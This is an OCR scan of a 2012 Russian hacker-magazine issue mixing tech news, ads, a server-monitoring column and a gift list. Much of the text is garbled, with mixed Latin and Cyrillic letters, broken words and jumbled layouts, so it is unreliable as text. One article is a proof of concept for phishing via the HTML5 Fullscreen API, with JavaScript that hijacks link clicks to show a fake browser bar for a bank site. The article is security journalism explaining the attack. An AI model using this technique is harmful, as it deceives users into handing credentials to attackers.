верять пOпавшиеся на глаза формы на XSS, чтобы не тратить время на отправку репортов. Или про-

Эффективно и реалистично,

а потому круго

8]

.,,\

,n. ioozlzпn

.,.

ст0 не 0тправлять... ОiOOrч На самом деле время туг тратится на проверку (всех форм>... Иногда захо-

дишь на сайт на одну минуry, просто что-то над0 узнать, а сидишь там целых десять минуг, проверяя векторы XXS/SOLi, и упаси нас от ХХЕ...

,

lipqorama Касперский про свою защищенную 0С: (маленькая, написана с нуля, основана на какой-то

уже умершей 0С. !ля промышленных АСУ. Деталей не знаю).

Сегодня Adobe выпустили Rеаdег Xl, включая 49 [!l крашфиксов безопасности, о которых сообщил я и l?lgynvael в Q2, QЗ 2012. Не переключайте каналы.

Коннентарий: На самом деле 49 багов за шесть месяцев это ураган. Респект!

-

Гilsickipediabot

Хорошая подруга может сэкономить около 200 Гб места на жесткOм

диске.

Вglаmсhiсkеп ,Щальше по плану #уас12, потом

#ZeгoNights и #gdd. Больше всего жду ZN, там будет настоя-


EGA

]Ul

N

EWS

78%

вlтсоlN-вАлюты нАвЕчно осЕдАЕт

в

коlлЕлькАх юзЕрOв

и нЕ

используЕтся, утверждают математики дорит рон и Ади шамир.

ЕрАт0 р с в язиуп рOстил <рАБOту> мOцJЕнникАм 0п

АБOнЕнтOв

lt{TC

пOдпиСывАют нА плАтныЕ УСлУги БЕз их вЕд0},lА

Сети обнаружилась <партнерская сеть сайтов> PhoneClick, созданнаятеми желюдьми, что некогда занимались мошеннической сетью

JiпСопчегt. PhoneClick не многим отличается отсвоей предшественницы, хотясточкизрениязакона вселегально. Схема работытакова:сайты PhoneClick поделены по категориям [анекдоты, погода, софтдля мобильных

такдалее). На самом деле весь этот контент, конечно, не является премиальным, а то и вовсе представляет собой обыкновенный фейк. Когда абонент МТС (схема работаеттолько для данного оператораl заходит

и

на один из этих сайтов с мобильного устройства, система по lР-адресу автоматически определяетего номертелефона и предлагает подключиться к платной подписке стоимостью 20 рублей вдень. Разумеется, предупреждение отом, что контент платный, написано внизустраницы мелким шрифтом под цветфона. В явном виде предлагается просто оформить пOдпискудля доступа к содержанию сайта.0 факте платной подписки пользователя информируют по SMS post factum. Почему и мен но МТС? Потому что МТС внедрила тех н ологию MSlSD N IMobile Station lпtеgгаtеd Sегчiсеs Digital NumЬег), позволяющую сторонним сайтам определять номера сотовых абонентов и автоматически активизировать им платные подписки. С абонентами других операторов процесс идет заметно сложнее: там пользовательдолжен сам ввести свой номертелефона, а затем еще и код из полученного SMS,

нOвыи сн

0т SAMSU

ROM

ЕвOOк

NG

жизнЬ в 1,,lиРЕ вЕБ-пРилOЖЕниЙ и кOнтЕкстноЙ рЕклА},lы oogle анонсировала Samsung СhгоmеЬооk, который, по мнению представителей компании, должен статьхOрOшим

кандидатOм на рOльдOпOлнительн0-

устройства вдоме или ноутбука для учащихся. Принимая во вниман ие, что цена устройства составляет всего 249 долларов, свою целевую аудиторию ноутбук определенно найдет. Новинка базируется на АRМ-чипе Exynos 5 Dual, основанном на новой архитектуре Согtех-А1 5. Крометого, го

Е Ка к ни странно, 0ператOр прOдOл-

жаетсчитать, чт0

ltl5lSDN-этоудобно

безопасно. <Абоненту перед пOдпиской выводится la пdiпg ра9е с информа цией о стоиt,tости и

i,-

РhопеСliсk

и ссылкой офертупартнеру, называть эт0 ilOшенничествOii нельзя), KOi{MeHти рует пресс-служба

услуги на

пOэт01.{у

l,,lTC.

СhгоmеЬооk обладает ']6

Гб

1

1,6-дюймовым дисплеем (1З66 х 768l, и Bluetooth. К ин-

памяти,2 Гб оперативной памяти

рнету м ожн о п одкл юч иться тол ько через Wi - Fi. Вре мя работы устройства, какутверждается, составляет шесть с половиной часов. Хотя ноутбук максимальн0 ориентирован

те

что он способен воспроизводить 1 080р-видео при частоте З0 кадров в секунду. Новый СhгоmеЬооkтакже получился куда компактнее предшественников - он весит ],1 З кг, а его толщина - 2,0З см. Но конечно, главным плюсом или минусом здесь выступаетсама Сhгоmе 0S, облачная операционка, по сути созданная для работы одного приложения -браузера Сhгоmе. 0тзы вы о ней до сих пор разнятся, и некоторые обозреватели в шутку пишут о ней: мне кажется, что "порой я живу внутри рекламы Googleo. на низкую цену, Google утверждает,

I

G ЯЩИКИ (ОФИЦИАЛЬНОЙ

]лЕктрOннOЙ пOчты)), кOтOрую планируют

в скOр0].{

будуще}а запустить в России, будут привязаны

физичеCKOi,lYдOtlаЩнемУ адресУ пOльзOвателя.

012

к

зАдвЕ с пOлOвинOЙ нЕдЕли хАкЕр и Ег0 пOдЕльник вывели с0 счетOв клиентOв систеllы электрOнных платежей 3А0 <0СМП> 2,3 ttилли-

В

ИНТЕРВЬЮ

TORRENTFREAK ки1.1д0TKOtt пРизнАЛСЯ, что знал

хАкЕр PlNKlE PlE нАшЕл ЕlцЕ 0дну критичЕскую (ДЫРКУ,)

В CHR01,1E.

зара-

ботав еще 60 тысяч дOлларов п0 прOгра]"lме в03награжде-

она рублей. ltlошенники уже

прOслущке с0 стOрOны властей давно -у него начались необъяснимые лаги

арестOваны.

влюбиttоtt Call of Duty.

cTaHeT:l.

0

н

ия. Парен

ь

так

1,1илл и

онеро}1

ПOДАННЫ1{ (ЛАБOРАТ0-

Рии кАспЕРскOг0>), 23,2% вредOнOсных хOстингOв втретьем квартале 20'l2 года были располоlкены в РФувы, Россия выlдла в 1r,lировые лидеры.

хлкЕр

12l1b7l2012


EDlFlER'

НЕ ВСЕ ЕЗИНЬl

0динАкOв0 пOлЕзньl дЕти, читАЙтЕ хороlлую lт-прЕссу! 0мичная истOрия приключилась с редактOрами пOльскOг0 езина (электронного журналаl Hakin9. Это издание существует с 2005 года, выходит раз в неделю и специализируется на информационной безопасности. В Hakin9 публикуются материалы на английском, немецком и французском языках. Но самое забавное заключается в том, что журнал платный. Редакция езина, видимо, ребята очень упорные- им отчаянно хотелось видеть на страницах своего детища как можно больше статей, написанных настоящими и крутыми специалистами в области ИБ, Издатели так старательно и нудно упрашивали различных безопасников написать материал-другой [разумеется, совершенно бесплатно) для Hakin9, что утех закончилосьтерпение.,Щжон 06ерхейде, Марк,Щауд и еше ряд известных специалистов скооперировались и написали фейковое и, в общем-то, откровенно издевательское руководство к некоему DARPA lпfегепсе Cheking Kludge Sсаппег ID l С KS) - расширени ю ска нера Nmap. Статья даже п ри беглом прочтении напоминает бред сумасшедшего и вызывает нездоровый смех, но это не остановило редакцию езина! Статью опубликовали на страницах платного (!) электронного журнала в следующем же номере. Авторы статьи определенно поймали множество лулзов и тут же выложил и свой <шедевр> в открыты й доступ. Чтобы ты оценил всю прелесть, заметим, что в статью, например, включена АSСll-картинка 8====>, наукообразные диаграммы, вроде за висимости производительности Nmap от графика популярности lPv7 и схема (психоакустическогохранилища>! В итоге надредакцией Hakin9 посмеялисьужедаже в рассылке Nmap Development.

ýЕ',

,ýý;ЁЁа

Еслиутебя неплохо санrлийскиll, советуем сходить п0 ссылке и прOчи-

тать (руковOдствоD

пOлнOстью-Oт-

Bbl птим/мьньли

нсS2зз0 (с2 PLUS)

О

и мощныЙ 6,5" сабвуфер

о Возможность одновременного подключения 2-х источников звука

личн0 пOднимает настроение lпmар.ог9/

misc/hakin9-nmap:

ebook-ch 1.pdfl.

Двухполосные деревя нные сателлиты

О

Удобное расположение органов

управления на внешнем усилителе

О Беспроводной пульт ДУ

о Система автоматической компенсации искажениЙ Еdifiег lntelli9ent Distoгtion Сопtго[

-

тRЕND 1,1lCR0 0пУБликOВАлА

0тчЕт 0 КИБЕРУГРO3АХ:

юзЕРOВ A].|DROID стАли нА 183% чАlцЕ АтАковАть с испOль3OвАниЕ},| 1.{Ал ВАРи и РЕклАl.t Н 0го п0 [175 тьlсяч АтАк В СЕНТЯБРЕI

<<Криоольный звук>>: С р о вн ител ь н ое т ести р

ов онп

е

Активной окtryопки 2.1 Зuма/2о1 1 <EDlFlER нсS2зз0 прЕдстАв_

ЛЯЕТСЯ НАИБОЛ ЕЕ СБАЛАНСИ-

ровАнным 2.1_нАБором>

РЕКОМЕНДУЕТ:

<нсS2зз0 _ оптимАльныЙ ВЫБОР ДЛЯ ГЕЙМЕРОВ>

Ф Ф

Y

о Ф


},lEGANEWS

БOЛ ЕЕ 500

мус рАссOрился

АнOн

и

с

t{

ИЛЛИOНOВ мобильн ых устройств на платфорr,rе Google Android

а

кти ви ровано по всему

}l

иру, сообrцил Ла рри Пейдж.

ФАилOвАя систЕмА F2FS

WlKlLEAKS

нOвАя с истЕ

хАктивисты нЕдовOльнь! пOлитикоЙ WlKlLEAKS

1,1A

дл я FLAsH

_

нАкоп итЕл

Е

Й

нженеры компании Samsung представили набор патчей реализацией новой файловой системы F2FS IFlashFгiепdlу tilе System), которая была разработана специальнодля накопителей, использующих NAND Flash {SSD-, еММСи SD-карты). Под это определение сегодня подпадают множество устройств, от мобил ьн ых телефонов до серверов. F2FS была представлена в списке рассылки для разработчиков ядра Linux, где и был опубликован патч, а также первый релиз пакета f2fs-tools, содержащего коллекцию утилит для обслуживания разделов F2FS [в которыЙ входитпокатOлько mkfs.f2fsдля форматирования разделов]. Код всех составных частей распространяется в рамкахлицензии GPLv2. Создатели F2FS постарались превзойти всех предшественников. F2FS работает через FТL (интерфейс управления флешс

Е 27 сентября2012 года США признали flжулиана Ассанха враг0ll гOсударства, так чт0 сOэдатель

wikiLeaks

п0- п режнеi{у живети работает натерритOрии п0сольства Эквадора вЛондоне, не имея

вOэ},iOжнOсти

дахе

перебазироваться в сам Эквадор.

памятью на микросхеме), поддерживает разные алгоритмы для размещения файлов и разные алгоритмы очистки. Файловая система для работы с NAND должна максимально бережно обращаться с носителем, равномерно распределяя нагрузку, Журнально-структурированная [lоg-stгuсturеd} файловая система предпOлагает, чт0 все данные записываются пOследOвательн0 и

азалось бы, Анонимус должен всячески поддерживать пpoeKTWikiLeaks и его опального создателя,Щжулиана Ассанжа, все же WikiLeakS во многом перекликается с идеями (легиона>.

Так все и обстояло

до недавнего

времени,

Анонимы,

Пока

доступ

к разделу

ко

гда

н

е

п е р

ез

апи с ы в а

ются.

,Щл

я

о ч и

ст

к и

от ста

р о

го (

м

усо

р а

)

но, похоже,

теперьАссанж и Анонимь больше не друзья. Яблоком раздора стал... рекламный баннер. Недавно пpoeKTWikiLeaks ввел <платный доступ) к разделу, где выложены наиболее важные документы, в том числе Stгаtfог, GlFi es, сириЙские письма. Утверждается, что некоторь е из этихдокументов <<слили>) именно

н и

используется отдельная процедура. Но у NAN D-микросхем есть ограничение на количество циклов записи-считывания. В этом принципиальное отличие отжурналируемых файловых систем, которые не слишком подходятдля работы с флеш-памятью.

не перекрыли

редыдуtца я tкурнал ьно- структури ро н н а я фа йловая систеt{а Log FS с уч ето особенностей флеш-паttяти была представлена'lб мая 2010 года и включена в ядро Linux 2.6.34. flo LogF5 были UbiFS и Yaffs2. F2FS преднаэначена для исп ол ьз о ва н ия в Ап d roidсмартфонах, но ничто не 14ешает использовать F2FS надесктопе или сервере. П

ва

со-

красный - при попытке открыть страницу появлялся большой пор, баннер с просьбой о пожертвованиях, он не исчезал пока всем

дотех

не сделаешь пожертвование или не отключишь JavaScгipt (а люди еще жаловались на Wikipedia и !жимми Уэйлса]. Создатели проекта

}.{

уверяют, что прибегнуть ктакиt..4 ухищрениям их вынудили исключительно большие издержки в военных судах. Анонимов это не смягчило,0ни выложили на Pastebin обращение, в котором утверждают, что WikiLeaks превратился в (шоу одного актера) и используется исключительно для пиара Джулиана Ассанжа. Нет, Анонимы по-прежнему не считаютАссанжа преступником, но основная задача WikiLeaks- публиковать секреты корпораций и правительств, а не писать про тяготы жизни Ассанжа в посольстве Эквадора.

I ltузы кАльнАя кOллЕкция СРЕДНЕГ0 Аl,iЕРИКАНЦА t8-29лЕт состоит из 1867 файлов, из которых406 скачаны бесплатно из интернета, 41 7

скопированы удрузей, (рипнуты)) с CD. К таки].,|

а 345

ВЫВOДа],l ПРИlЛЛИ ИССЛеДOВа-

появился новыЙ тулкит

tlнOг0 нOвOстЕЙ

тели из AmericanA5sembly.

ltsоkпоргоЬlеmЬго,

0

0днако чем больше

в

коллек-

ции фаЙлов, полученных нелегальным путеlt, тем больчlе у челOвекалицензиOннOг0 контента. Воттакой парадокс.

который

пOзвOляет прOвOдить

лtощнейшие DDоS-атаки до 70 Гбит/с и более З0 миллиOнOв pps. предупреждают

эксперты.

RА5РвЕRRY

Р|

-объеlr

оперативной паtlяти вырос до 512 1,16, проц можно разгонятьдо 1 ГГц, а вот габариты 1tlини-кOмпьютера и цена (не пOстрадали>.

хдкЕр 12l1b7l2012


ВЫШЛА

U

BUt{TU

1

2.1

0. Шаттлвортзаявил о переходе на полузакрытый режим разработки, но потом срочно опроверг свои же слова

яБлOчн ьlЙдАЙджЕст ПРЕДСТАВЛЕНЫ IPAD

1,1l}ll, 1,1ACBOOK

РR0 RETIltlA

И

lPAD4

Нем ноrо

и нтересн ых фактов презентации: на да нный ttoMeHT работает на 200 миллионах устройств, в iCloud хранится 125 миллионов документовl продано более 3 миллионов iPod и 1 00 ttилли онов i Pad.

с

iOS б

прошлом номере мы не могли оставить без внимания выход пятого iPhone, котороготакждали многие гики планеты, а сегодня не можем пройти мимо еще одной презентации Apple, принесшей сразу ряд новинок. Самым ожидаемым новым продуктом стал iPad mini, чье появление не было секретом о нем знал и заранее. Как нетрудно понять из названия, iPad mini практически копирует привычный нам iPad почти во всем, не считая габаритов: новинка комплектуется экраном 7,9 дюйма в отличие от своего (старшего брата, с дисплеем 9,7дюйма. Разрешениедисплея составляет ]024 на 768точек, в точности как у iPad 2 [правда, за счет меньшего размера экрана 'lб З шту к и н а ю й м Та к же п л от н о сть п и ксел е й у iPa d m in i в ы ш е ). д планшет может похвастаться рекордно малой толщиной всего 7,2 мм. Кроха базируется на Аррlе А5, имеет фронтальную и заднюю камеры и оснащается разъемом Lightning. Apple пошла привычным путем и выпускает новинку в двух вариантах: с поддержкой сотовых сетей и Wi-Fi или исключительно с поддержкой Wi-Fi, l-{eHa первой модификации будет составлять 459, второй -З29 долларов. 0днако iPad Мiпi стал не единственным новым продуктом линейки, показанным на презентации. Apple неожиданно анонсировала iPad четвертого поколения, который, напротив, никак не изменился внешне, зато обзавелся более мощным железом, Теперь (под капотом> планшета скрывается процессор АбХ, а производительность графической системы выросла вдвое. Получил обновленный iPad и разъем Lightning, скоростной Wi-Fi и уже обычную поддержкусетей LTE [которая не желает работать в России).

-

-

-

дополнение к перечисленномуАррlе представила публиэкраном Retina. Помимо нового экрана, в ноутбуке заметны определенные изменения: к примеру, теперь он весит 1,5 кг и стал в полтора раза тоньше [1,9 см}. Устройство базируется на Соге i5илиi7 и графике lntel HD Gгарhiсs 4000. Наличествуют слотдля карты памяти, USB З.0, MagSafe 2, ТhuпdегЬоlt, выход HDMl, камера высокого разрешения, два микрофона, стереоколонки и 8 Гб оперативной памяти. DVD-привода нет. l-{eHa обновленного MacBook составит 1 700 долларов. Но и на этом новинки не кончились! Если почти все перечисленные в нашем обзоре устройства практически ни для кого не стали сюрпризом [информация о них давно утекла в Сеть и прессу, не считая разве что iPad четвертого поколенияi, то представление обновленного iMac все-таки сумело удивить многих. Моноблок тоже значительно (похудел): толщи на по краям теперь составляетлишь 5 мм, iMac выйдет в двух вариантах-с 21,5-дюймовым [разрешение 1920 х 1080) и 27-дюймовым [разрешение 2560 х 1440] экраном. На борту новинки, как полагается, lntel Соге i5либо Соге i7, графика NVlDlA GеFогсе, HDкамера, стереозвук, объем памяти для хранения данных до З Тб. DVD-привода теперь нет и здесь. Также стоит отметить накопитель Fusion Dгiче смешанного типа, который объединяет в себе сразу жесткий диск на 1-З Тб и SDD-диск на '128 Гб. Быстрый SSD-раздел будет использоваться для хранения данных 0С. Продажи стартуют в ноябре-декабре, младшая модель обойдется в 1299, старшая В

ке MacBook Рго с ]З-дюймовым

-

в'l799долларов. ],llcROSOFT 0БъявилА 0 кАрдинАльноЙ смЕнЕ стрАтЕгии

пOдOБн0 APPLE,

},l l

сROSOFT

сOБи рАЕтся Bbl пускАть сOБствЕн устрOЙствА, п0 и сЕрвисьl, Ф0 р1{ и руя Еди ную экOсистЕ },ly

н bl

Е


lпtеI@ Small Business Advantage Составляющие успеха

lпtеl@ Small Buslness Advantage программньtй комплекс в составе б фирменньlх приложений:

q О|.tl

tT @

Программньlй мониторинг С помощью программного мониторинга

ffiffi

можно контролировать установленное на компьютере ПО, и пресекать активность вредоносных программ. В состав комплекса входит программное обеспечение компаний Мiсгоsоft, Symantec, Kingsoft, Тrепd Мiсrо, McAfee и Каsрегskу. Монито_ ринг ПК и блокировка атак извне осуществляются в реальном времени.

Резервное копирование и восстановление данньlх Утилита Data Backup and Rеstоге обеспечивает резервное копирование критичной информации по расписанию. С помощью утилиты можно вывести ПК из режима сна и инициализировать процедуру резервного копирования встроенными средствами ОС Microsoft Backup апd Rеstоrе.

Функция USB BLOCKER2 Функция USB Blocker позволяет заблокировать или разрешить досryп к ПК в отношении определенного USВ-устройства. После процедуры идентификации, средствами утилиты USB Вlосkеr 2 можно выбрать требуемую политику безопасности для подключаемой к компьютеру USВ-периферии.

УТИЛИТа РС HEALTH

СЕNТЕR

Утилита РС Health Сепtеr позволяет владельцу ПК оперативно отслеживать выполнение всех неотложных задач, включая загрузку обновлений для ОС Windows, дефрагментацию диска, удаление временных файлов после инсталляции ПО или сессий серфинга в Интернет. Выполнение конкретной задачи может начинаться сразу после загрузки ОС, даже, если перед этим компью_ тер был выключен.

Функции энергосбережения Приложение Епеrgу Sачег дает возможность пользователю выбрать подходящую схему энергосбережения, согласно которой ПК по завершении рабочего дня самостоятельно перейдет в спящий режим. Компьютеры могут быть приведены в рабочее состояние утром в указанное время, когда служащие приходят на работу. Выбрав приемлемый режим работы для ПК в течение дня или рабочей недели, в дальнейшем контроля со стороны пользователя уже не потребуется.

ч

Технология lntel WIRELESS D|SPLAY

*

Это приложение дает возможность пользователям обмениваться цифровым контентом средствами беспроводных технологий, проецируя изображение на специализированный широкоформатный дисплей. Приложение будетдоступно только в том случае, если на ПК под управлением ОС Windows 7 будет установлен соответствующий виджет lntel@ WiDi.

ф /

ЛuDер

\

f, unnoBouuoi"b,, t ч.mехнолоzчu !a_ ,ь _ч +я2{-+

www.9igabyte.ru


HEADER

:

Ар0 са| 0nS

д"___ -, Б

гllеrDч.оо

(\)

sеwев

f,

w

\i i!..

.!.,.,а,,

Recentsaruerevedý

a

,-,_

5ea,r::B': Тоо,

Fll eýl oisk > 85%

den h!

Aed оп ýe.]elвl5

a

DsK

О > 90%

Aed on ýeNe,815

колонкА СТЁПЫ ИЛЬИНА

О

Memo./

Ael

>

95%

ф Se"ler8la]

Бесплатно ltolKHo мониторитьдо пяти серверов

пр0 мOнитOринг сЕрвЕрА К ЧЕМУ ПРИВOДИТ ЛЕНЬ Хочу поделиться с тобой настоящей находкой. Не так давно я познакомился с инструментом, который теперь использую ежедневно, Я говорю о сервисе мониторинга New Relic. Мне не раз пр0 нег0 рассказывали, н0, п0 правде говоря, каждый раз я пропускал это мимо ушей, потому что сложный мониторинг мне никогда нужен не был, Некоторое время назад передо мной встала задача разобраться с медленным ве6-приложением развернутое на пяти серверах, 0н0 умудрялOсь тOрмOзить даже при небольшой нагрузке. Конечно, можно было прOверить 0дин сервер за другим, изучить логи nginx'a, посмотреть на работу баз данных, но мне, говоря откровенно, было очень лениво, Хотелось получить общую картину максимально быстро и с миниму1,4ом геморроя. И вот тут я вспомнил про New Relic ( ,, ,,,, :. ).

-

БЫСТРЫЙ СТАРТ NEW REL|C Идея этого сервиса очень простая. На каждом из хостов устанавливается специальный агент (есть версии для Windows и Linux], который начинает собирать статистику об операционной системе, веб-приложении, используемой базе данных и так далее. Затем агент отправляет эти данные на сервер-кOллектOр, где 0ни аккумулируются и превращаются в понятные таблицы и графики в веб-интерфейсе администратора. Надо отдать должнOе разработчикам: такой агент устанавливается в системе в два счета, и единственное, что необходимо указать пOсле запуска инсталлятOра, - эт0 твой идентификатор, С его помощью New Relic будет понимать, что данные пришли от тебя.

018

БрАв0, NEW REL|C Уверен, что сценарии применения в каждом случае разные, Мне New Relic нужен был не стOльк0 как инструмент для мOнитOринга, сколько для того, чтобы быстро найти (горлышко бутылкиu, из-за которого все тормозит. Самый важный параметр, вокруг которого эт0 время 0твета сервера. все крутится, И ятут же получил четкую картинку: сколько из этих секунд ответа (это очень много] ушло на работу веб-сервера и РНР (в моем случае приложение было написано на нем] и сколько на работу базы данных. График прямо говорил, что проблема, скорее всего, завязана на базе данных. И тут я начал аплодировать разработчикам сервис сразу же вывел списOк всех самых <дорогих> запросов к базе данных, выдав с потрохами тот самый, из-за которого все подвисало. Я упростил SOL-запрос, создал и проблема была дополнительный индекс решенаl

-

чт0 мOжн0 мOнитOрить? Пользуясь случаем, я решил посмотреть,

что еще можно мониторить, Сервис большOе внимание уделяет не тOльк0 времени

0твета сервера, н0 и тOму времени, кOт0рое потребуется на обработку страницы на стOрOне клиента, т0 есть скOльк0 времени ушло у браузера, чтобы отрендерить страницу. Тут же показывается и другая пOлезная статистика, например кOличеств0 ошибок, которые были отданы пользователю. Естественно, для получения данных необходимо установить дополнительный агент, в зависимOсти 0т тOг0, какая технOлOгия лежит в основе веб-приложения. Агенты

существуютдля.NЕТ, Ruby, Python и, конечно же, РНР. Причем разработчики постарались свести настройку к минимуму: под Debian/ Ubuntu все элементарно устанавливается через apt-get без какоЙ-либо возни с конфигурационными файлами. Помимо обследования веб-приложения, 0чень здOрOв0 реализOван мOнитOринг самих серверов. Теперь я постоянно собираю статистику п0 всем серверам, в тOм числе их конфигурацию, тонкую статистику по CPU [включая l0 wait] и оперативной памяти, информацию о загрузке канала, данные п0 жестким дискам, а также другие пOлезные метрики врOде кOличества передаваемых пакетов в секунду. !ля каждого сервера приводится и текущая информация по запущенным прOцессам: 0тныне не нужн0 коннектиться по SSH и получать эти данные вруч ную.

плАтн0- БЕс плАтн 0 Надо сказать, что New Relic - это бесплатныЙ и одновременно очень дорогой сервисI В течение 14 дней ты можешь использовать все ег0 вOзмOжнOсти и, как в мOем случае, найти много узких мест в архитектуре вебприлOжения, выявив причины тOрмOзOв. Позже придется выкладывать минимум 24 доллара в месяц за мониторинг каждого сервера, что, безусловно, довольно много, Но что приятно есть бесплатный тарифный план, который хоть и не предоставляет кучи классных возможностей, но разрешает мOнитOрить д0 пяти серверOв и пOлучать базовые (и самые важные] параметры работы веб-приложения. ]Е

-

хдкЁр

12

/1b7l 2012


Анатолий Ализар (alizaгOgmail.com)

э

Ргооf-оf-Сопсерt

РПСУЕМ ОАЛ ЬШИ ВЫЙ БРАУЗЕР:

ФИШИНГ ЧЕРЕЗ HTMLs FULLSCREEN APl в чЕм идЕя

event. stopPгopagation

Щля классической

фишинговой атаки обычно делается копия сайта банка, социальной сети, известной компании и регистрируется URL, похожий на настоящий. Например, micгOsoft.com. Слабое место фишинга именно неправильный URL, Пользователь всегда мOжет посмотреть на адресную строку браузера и убедиться, что там указан неверный адрес, Идея фишинга через HTML5 Fullsсгееп АРl заключается в том, что браузер пользOвателя переключается в полноэкранный режим и заменяет реальный интерфейс браузера предзагруженной картинкой с изображением интерфейса браузера. При этом в (адресной строке> можно указать любое называние сайта и нарисовать значOк защищеннOг0 сOединения эт0 ведь не настоящая адресная стрOка, а прOст0 картинка с текстOвым пOлем. Идея не нова. Аналогичные фишинговые велись десять лет назад в браузере lпtегпеt Ехрlогег через полноэкранные всплывающие окна. Уязвимость была исправлена в 2004 году с выходом Windows ХР SP2 (bit LуlIrРщще).

ТЕOРЕТИЧЕСКАЯ БАЗА Спецификации HTML5 Fullsсгееп APl позволяют инициировать переход браузера в полноэкранный режим. Это делается простым кодом на ве6-странице: еlеmепtТоМаkеFullsсгееп.геquеstFullSсгееп();. Главное ограничение, которое накладывают APl на разработчика, полноэкранный режим вызывается только в результате действия пOльзOвателя: нажатия клавиши на клавиатуре или кнопки мыши. Так что сайт не может просто загрузиться в полноэкранном режиме с самого начала. Поэтому вызов полноэкранного режима п0 щелчку мыши выглядит примерн0 так:

-

$('#fullscгeen-button').on('cllck', function( ) { чаг doc = document.documentElement; if (doc. requesttullScreen) doc. геquеstFчllSсrееп( ); });

На практике нужно обращение к функциям mozRequestFullScгeen(] webkitRequestFullScгeen(). Поскольку спецификации HTML5 Fullsсгееп АРl еще не утверждены, эти функции в браузерах на движках Mozilla и WebKit снабжены соответствующими префиксами.

if

' ВыJь,ваеJч

();

голноэкранныи

ре^им

(еlеmепtРпоtоtуре.rеqчеstFUllsспееп) { document. documentElement. геqчеstFчllsсгееп ( ) ; } else if (elementPnototype.webkitRequestFullScгeen) doc ument (

.

doc ument

Element

.

Е

Iеmепt . webkit Request

хлкЁр 12l1b7l2012

;

mozRequestFullScгeen(

document. documentEIement.

} else { // fail silently

{ );

}

//

Показываем фальшивый интерфейс и фишинговый сайт $('#menu, #Ьгоwsег') . show( );

$('#taгget-site')

.

});

show( );

Фишинговая страница распознаёт браузер и 0С жертвы и подсовывает ему соответствующее изображение. В верхней части страницы отрисовывается интерфейс браузера с указанием URL настоящего сайта и со значком защищенного соединения, Как уже говорилось, средства HTML5 позволяют даже использовать эту картинку как настOящую адресную стрOку, Студент Стэнфордского университета Феросс Абухадижи создал демонстрацию с поддельным сайтом Вапk of Аmегiса: Ьltцl!цц]s. Автор отрисовал интерфейсы браузеров Сhгоmе, Firеfох и Sаfагi. Код демки: bit уLV]ЦВ?. Естественно, все это сработает только при условии, что у пользователя не задействован специфический скин в браузере или куча дополнительных панелей это сымитировать не получится. Но даже в таком случае многие ли удивятся неожиданным изменениям в интерфейсе? Многие ли напрягутся от внезапного сообщения браузера о переходе в полноэкранный режим? Мне кажется, от силы процентов десять. С другой стороны, подобные метаморфозы намного заметнее, чем лишний нолик в адресе странички. ]Е

-

'' *,*":j.:.-_ Вапkоlдmеriса

EmMs@nGsc)

?z lnvoBl ý

Атака начинается с того, что пользователю на ве6-странице показывают ссылкУ такого вида: <а hгef="https://www. "Зайди на сайт bankofаmегiса.соm"> Bank of Аmегiса</а> и получи 100 долларов". URL выглядит нормально. Если навести курсор на эту ссылку, то в статусной строке браузера отразится адрес настоящего сайта. Но при нажатии происходит вызов события event.pгeventDefault[], кOтOрOе предOтвращает стандартное поведение браузера, а вместо этOг0 испOльзует нажатие пOльзOвателя п0 ссылке как триггер для вызOва пOлнOэкраннOг0 режима.

)

{

1Sc гееп

AL LOtлJ_КЕYВOАRD_INРUТ);

кАк прOисхOдит АтАкА

event. pneventDefault(

I

} else if (elementPnototype,mozRequestFullScгeen)

и

$('htmI').on('click kеургеss','а', function(event)

F u

Опliпе Banking

Tako сh.,gэ of your mопоу wlth

24/7 accogs

@

Stay up to date

Е .BintlnBo, МуЛ...rr?

,,,,ь*",д,," lEl E:];:,;,;rlj,i,;:

{ Фишинговый сайт Вапk

of

Аmеriса

в полноэкранно1.1 рех(име


covERSTORY

Илья Илембитов lilеmЬitочk}геаl,хаkер.гu)

оо

о о о о о о( о о t@ .о о [о оо о о ьо о qo о о

оч,о

":*hкffi Ж"5_-"Ъ;;:3;,:

,ffi

ffi

чЕм

пOрАдOвАть гикА?

о

NERD

GА5м

о

лучLllиЕ пOдАрки 2012

t,;'|^"":"*

гOдА

о

ъ}";"ru

Если ты читаешь это, на дворе уже декабрь и до праздников осталось совсем немного. Редакция наморщила умы [просто представь нескольких Томми Ли [жонсов в одной комнате) и придумала список самых удачных гаджетов и аксессуаров уходящего года, которыми можно было бы приятно (иногда даже слишком) удивить любого lТ-шника. Все устройства в этом списке можно достать в России или в одlом из популярных интернет-магазинов, и все они поставляются никаких кикстартеров и минимум ThinkGeek. уже сейчас

J[

-

хлкЕр 12/16?/2012


Чем порадовать гика

1

TP-Link Nano TL-WR7O2N h!t ]ylZtaq?р

-

Карманный роутер отличный способ развернуть собственную WiFi-сеть там, где естЬ только проводной доступ {например, в гостиницахl, и роутер от TP-Link по многим пунктам обходит даже куда более дорогой Аррlе АiгРогt Ехргеss. Например, китайский гаджет поддерживает все мыслимые стандарты VРN-подключений (в том числе специфичный для наших широт L2TP). Кроме того, устройство питается по стандартному miсгоusв-кабелю такому х(е, как для многих смартфонов. Словом, это очень удачный гаджет для частых путешественников.,Щля полного счастья не хватает разве что возможности подключать по USB внешние ЗG- и LТЕ-модемы,

-*ft.J

-

iCade B-Bitty :

'

"

i,':ll]r4D

игры жанра Тоwег Defense, бесконечные версии Апgгу Вiгds и другие находки мобильн ых и гроделов к 2012 году значительно исчерпали себя, и вполне логично, что геймеры обратились к классике. В этом году для мобильных платформ стали переиздаваться не только старые РС-игры вроде GTA Ill, но и консольные хиты 90,80 и даже 70-х годов. Почти все корифеи рынка, включая Аtагi, Namco, Midway и Activision, выпустили свои самые знаменитые игры для смартфонов и планшетов. Но играть в такие игры на смартфоне куда приятнее, если у тебя есть подходящий инструмент. Именно тут на помощь приходит 8-Bitty маленький беспроводной геймпад, оформленный по всем законам жанра. Подключи его к своему смартфону под Апdгоid или iOS и играй в лучшие в истории человечества игры,

-

3

RаsрЬеггу Pi Model

Ь t

у,;эm, SecG,,,lL

Маленький компьютер за смешные деньги оказался настоящим хитом. Пусть тебя не смущает цена. Если твоя жертва по какой-то причине до сих пор не обзавелась этой малюткой, то скорее всего эта причина не 0чень прOстая прOцедура доставки, и измерить в долларах эту головную боль не представляется возможнь м. Тем не менее pi Rаsрьеrгу идеальная игрушка для любых хобби, и на его основе мOжн0 сделать чт0 угOдн0, 0т медиаприставки к телевизору и игровой консоли до системы управления бытовой техникой и бортового компьютера в машину. !аже мы не удержались и рассказали в одном из номеров ][ о создании кофеварки на базе этого малыша. И будь уверен, мы еще не раз вернемся к RаsрЬеrгу Pi.

-

Ё4 .-:J-

.Ё:-;=-

.:=

_Е =

